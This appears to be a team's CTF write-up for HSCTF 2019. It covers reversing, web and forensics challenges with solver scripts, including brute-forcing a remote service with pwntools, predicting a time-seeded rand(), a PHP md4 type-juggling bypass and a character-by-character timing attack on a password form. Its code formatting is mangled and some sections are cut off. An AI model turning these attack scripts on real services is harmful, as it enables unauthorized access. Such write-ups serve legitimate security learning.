```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.